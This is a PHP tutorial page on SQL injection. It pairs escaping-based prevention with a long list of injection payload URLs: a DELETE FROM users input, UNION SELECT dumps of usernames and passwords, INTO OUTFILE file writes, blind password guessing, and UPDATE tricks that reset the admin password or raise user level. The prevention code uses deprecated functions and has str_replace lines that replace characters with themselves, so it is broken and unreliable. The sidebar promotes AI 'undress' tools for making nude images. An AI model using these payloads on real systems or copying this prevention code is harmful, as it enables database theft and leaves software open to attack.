search
HomeBackend DevelopmentPHP TutorialPHP SQL injection attacks and prevention precautions

  1. // supposed input
  2. $name = "ilia'; DELETE FROM users;";
  3. mysql_query("SELECT * FROM users WHERE name='{$name}'");
Copy code

Obviously the last command executed by the database is:

  1. SELECT * FROM users WHERE name=ilia; DELETE FROM users
Copy code

This brings disastrous consequences to the database – all records are deleted.

But if the database you are using is MySQL, then fortunately, the mysql_query() function does not allow you to directly perform such operations (multiple statement operations cannot be performed in a single line), so you can rest assured. If the database used is SQLite or PostgreSQL and supports such a statement, then it will face disaster.

As mentioned above, SQL injection mainly submits unsafe data to the database to achieve the purpose of attack. In order to prevent SQL injection attacks, PHP comes with a function that can process the input string and perform preliminary security processing on the input at the lower level, that is, Magic Quotes. (php.ini magic_quotes_gpc). If the magic_quotes_gpc option is enabled, single quotes, double quotes, and other characters in the input string will be automatically preceded by backslashes.

But Magic Quotes is not a very universal solution, it does not block all potentially dangerous characters, and Magic Quotes is not enabled on many servers. Therefore, we also need to use various other methods to prevent SQL injection.

Many databases provide this input data processing functionality natively. For example, PHP's MySQL operation function has a function called mysql_real_escape_string(), which can escape special characters and characters that may cause database operation errors. This code:

  1. //If Magic Quotes function is enabled

  2. if (get_magic_quotes_gpc()) {
  3. $name = stripslashes($name);
  4. }else{
  5. $name = mysql_real_escape_string($name);
  6. }
  7. mysql_query("SELECT * FROM users WHERE name='{$name}'");

Copy code

Note that when using the database Before using the function, you must check whether Magic Quotes is turned on, just like in the above example, otherwise an error will occur if the process is repeated twice. If MQ is enabled, the added ones need to be removed to get the real data.

In addition to preprocessing the above string-form data, when storing Binary data in the database, you should also pay attention to preprocessing. Otherwise, the data may conflict with the storage format of the database itself, causing the database to crash, data records to be lost, or even the entire database to be lost. Some databases, such as PostgreSQL, provide a function pg_escape_bytea() specially used to encode binary data, which can encode the data similar to Base64.

For example:

  1. // for plain-text data use:

  2. pg_escape_string($regular_strings);
  3. // for binary data use:

  4. pg_escape_bytea($binary_data) ;
Copy code

In another case, such a mechanism should also be used. That is, multi-byte languages ​​such as Chinese, Japanese, etc. that are not supported by the database system itself. Some of them have ASCII ranges that overlap with binary data ranges.

Here we recommend two articles about PHP SQL injection prevention. One is provided by 360 Security, and the other is a PHP SQL injection prevention code collected by the author. It is very powerful and easy to use.
  • php anti-SQL injection code (provided by 360)
  • php code to prevent sql injection vulnerability filtering function

However, encoding the data may cause query statements like LIKE abc% to become invalid.

php sql injection implementation(the test code is safe)

The focus of SQL injection is to construct SQL statements. Only by using SQL flexibly statement to construct a new injection string. After studying, I wrote some notes and have them ready for use at any time. I hope you will read the following content first Understand the basic principles of SQL. The code in the notes comes from the Internet. ===Basic part=== Query this table: http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union union statement: http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/* http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

Export file: http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT statement: INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); Construct homepage value: http://jbxue.com', '3')# The SQL statement becomes: INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://jbxue.com', '3')#' , '1');

UPDATE statement: I like this thing First understand this SQL

  1. UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
Copy code

If this SQL is modified into the following form, then Implemented injection 1: Modify the homepage value to http://jbxue.com', userlevel='3 The SQL statement then becomes

  1. UPDATE user SET password='mypass', homepage='http://jbxue.com', userlevel='3' WHERE id='$id'
Copy code

userlevel as user Level 2: Modify the password value to

  1. mypass)' WHERE username='admin'#
After copying the code

, the SQL statement becomes

  1. UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
Copy code

3: Modify the id value to ' OR username='admin' The SQL statement then becomes

  1. UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
Copy code

===Advanced section= == Commonly used MySQL built-in functions DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() database() version() SUBSTRING() MID() char() load_file() … Function application UPDATE article SET title=DATABASE() WHERE id=1 http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()

  1. SELECT * FROM user WHERE username=char(97,110,103,101,108)
  2. # char(97,110,103,101,108) is equivalent to angel, decimal
Copy code

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1 )>char(100) http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

Determine the number and type of fields in the data structure http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

Guess the data table name http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

Cross-table query to get username and password http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1 from ymdown_user where id=1

Others #Verify the first password http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===Injection Prevention=== Server aspect magic_quotes_gpc is set to On display_errors is set to Off coding aspect

  1. $keywords = addslashes($keywords);
  2. $keywords = str_replace("_","_",$keywords);
  3. $keywords = str_replace("%","%",$keywords) ;
Copy code

Numeric type Use intval() to catch and replace string type Add single quotes to SQL statement parameters The following code is used to prevent injection

  1. if (get_magic_quotes_gpc()) {
  2. //....
  3. }else{
  4. $str = mysql_real_escape_string($str);
  5. $keywords = str_replace("_","_",$keywords );
  6. $keywords = str_replace("%","%",$keywords);
  7. }
Copy code

Useful functions stripslashes() get_magic_quotes_gpc() mysql_real_escape_string() strip_tags() array_map() addslashes()



Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
PHP: An Introduction to the Server-Side Scripting LanguagePHP: An Introduction to the Server-Side Scripting LanguageApr 16, 2025 am 12:18 AM

PHP is a server-side scripting language used for dynamic web development and server-side applications. 1.PHP is an interpreted language that does not require compilation and is suitable for rapid development. 2. PHP code is embedded in HTML, making it easy to develop web pages. 3. PHP processes server-side logic, generates HTML output, and supports user interaction and data processing. 4. PHP can interact with the database, process form submission, and execute server-side tasks.

PHP and the Web: Exploring its Long-Term ImpactPHP and the Web: Exploring its Long-Term ImpactApr 16, 2025 am 12:17 AM

PHP has shaped the network over the past few decades and will continue to play an important role in web development. 1) PHP originated in 1994 and has become the first choice for developers due to its ease of use and seamless integration with MySQL. 2) Its core functions include generating dynamic content and integrating with the database, allowing the website to be updated in real time and displayed in personalized manner. 3) The wide application and ecosystem of PHP have driven its long-term impact, but it also faces version updates and security challenges. 4) Performance improvements in recent years, such as the release of PHP7, enable it to compete with modern languages. 5) In the future, PHP needs to deal with new challenges such as containerization and microservices, but its flexibility and active community make it adaptable.

Why Use PHP? Advantages and Benefits ExplainedWhy Use PHP? Advantages and Benefits ExplainedApr 16, 2025 am 12:16 AM

The core benefits of PHP include ease of learning, strong web development support, rich libraries and frameworks, high performance and scalability, cross-platform compatibility, and cost-effectiveness. 1) Easy to learn and use, suitable for beginners; 2) Good integration with web servers and supports multiple databases; 3) Have powerful frameworks such as Laravel; 4) High performance can be achieved through optimization; 5) Support multiple operating systems; 6) Open source to reduce development costs.

Debunking the Myths: Is PHP Really a Dead Language?Debunking the Myths: Is PHP Really a Dead Language?Apr 16, 2025 am 12:15 AM

PHP is not dead. 1) The PHP community actively solves performance and security issues, and PHP7.x improves performance. 2) PHP is suitable for modern web development and is widely used in large websites. 3) PHP is easy to learn and the server performs well, but the type system is not as strict as static languages. 4) PHP is still important in the fields of content management and e-commerce, and the ecosystem continues to evolve. 5) Optimize performance through OPcache and APC, and use OOP and design patterns to improve code quality.

The PHP vs. Python Debate: Which is Better?The PHP vs. Python Debate: Which is Better?Apr 16, 2025 am 12:03 AM

PHP and Python have their own advantages and disadvantages, and the choice depends on the project requirements. 1) PHP is suitable for web development, easy to learn, rich community resources, but the syntax is not modern enough, and performance and security need to be paid attention to. 2) Python is suitable for data science and machine learning, with concise syntax and easy to learn, but there are bottlenecks in execution speed and memory management.

PHP's Purpose: Building Dynamic WebsitesPHP's Purpose: Building Dynamic WebsitesApr 15, 2025 am 12:18 AM

PHP is used to build dynamic websites, and its core functions include: 1. Generate dynamic content and generate web pages in real time by connecting with the database; 2. Process user interaction and form submissions, verify inputs and respond to operations; 3. Manage sessions and user authentication to provide a personalized experience; 4. Optimize performance and follow best practices to improve website efficiency and security.

PHP: Handling Databases and Server-Side LogicPHP: Handling Databases and Server-Side LogicApr 15, 2025 am 12:15 AM

PHP uses MySQLi and PDO extensions to interact in database operations and server-side logic processing, and processes server-side logic through functions such as session management. 1) Use MySQLi or PDO to connect to the database and execute SQL queries. 2) Handle HTTP requests and user status through session management and other functions. 3) Use transactions to ensure the atomicity of database operations. 4) Prevent SQL injection, use exception handling and closing connections for debugging. 5) Optimize performance through indexing and cache, write highly readable code and perform error handling.

How do you prevent SQL Injection in PHP? (Prepared statements, PDO)How do you prevent SQL Injection in PHP? (Prepared statements, PDO)Apr 15, 2025 am 12:15 AM

Using preprocessing statements and PDO in PHP can effectively prevent SQL injection attacks. 1) Use PDO to connect to the database and set the error mode. 2) Create preprocessing statements through the prepare method and pass data using placeholders and execute methods. 3) Process query results and ensure the security and performance of the code.

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Chat Commands and How to Use Them
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

Dreamweaver Mac version

Dreamweaver Mac version

Visual web development tools

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

PhpStorm Mac version

PhpStorm Mac version

The latest (2018.2.1) professional PHP integrated development tool